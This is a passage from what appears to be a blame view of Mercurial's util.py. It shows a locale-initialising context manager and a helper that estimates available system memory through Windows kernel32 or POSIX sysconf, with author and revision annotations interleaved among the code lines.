# with C code (e.g. the curses module or the Subversion bindings), the global
# locale settings must be initialized correctly. Python 2 does not initialize
# the global locale settings on interpreter startup. Python 3 sometimes
# initializes LC_CTYPE, but not consistently at least on Windows. Therefore we
# explicitly initialize it to get consistent behavior if it's not already
# initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d,
# LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check
# if we can remove this code.
@contextlib.contextmanager
def with_lc_ctype():
oldloc = locale.setlocale(locale.LC_CTYPE, None)
if oldloc == 'C':
try:
try:
locale.setlocale(locale.LC_CTYPE, '')
except locale.Error:
# The likely case is that the locale from the environment
# variables is unknown.
pass
yield
finally:
locale.setlocale(locale.LC_CTYPE, oldloc)
else:
yield
Joerg Sonnenberger
util: provide a helper function to estimate RAM size...
r45621
def _estimatememory():
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 # type: () -> Optional[int]
Joerg Sonnenberger
util: provide a helper function to estimate RAM size...
r45621 """Provide an estimate for the available system memory in Bytes.
If no estimate can be provided on the platform, returns None.
"""
if pycompat.sysplatform.startswith(b'win'):
# On Windows, use the GlobalMemoryStatusEx kernel function directly.
from ctypes import c_long as DWORD, c_ulonglong as DWORDLONG
Matt Harbison
typing: add some type annotations to mercurial/util.py...
r47391 from ctypes.wintypes import ( # pytype: disable=import-error
Structure,
byref,
sizeof,
windll,
)
Joerg Sonnenberger
util: provide a helper function to estimate RAM size...
r45621
class MEMORYSTATUSEX(Structure):
_fields_ = [
('dwLength', DWORD),
('dwMemoryLoad', DWORD),
('ullTotalPhys', DWORDLONG),
('ullAvailPhys', DWORDLONG),
('ullTotalPageFile', DWORDLONG),
('ullAvailPageFile', DWORDLONG),
('ullTotalVirtual', DWORDLONG),
('ullAvailVirtual', DWORDLONG),
('ullExtendedVirtual', DWORDLONG),
]
x = MEMORYSTATUSEX()
x.dwLength = sizeof(x)
windll.kernel32.GlobalMemoryStatusEx(byref(x))
return x.ullAvailPhys
# On newer Unix-like systems and Mac OSX, the sysconf interface
# can be used. _SC_PAGE_SIZE is part of POSIX; _SC_PHYS_PAGES
# seems to be implemented on most systems.
try:
pagesize = os.sysconf(os.sysconf_names['SC_PAGE_SIZE'])
pages = os.sysconf(os.sysconf_names['SC_PHYS_PAGES'])
return pagesize * pages
except OSError: # sysconf can fail
pass
except KeyError: # unknown parameter
pass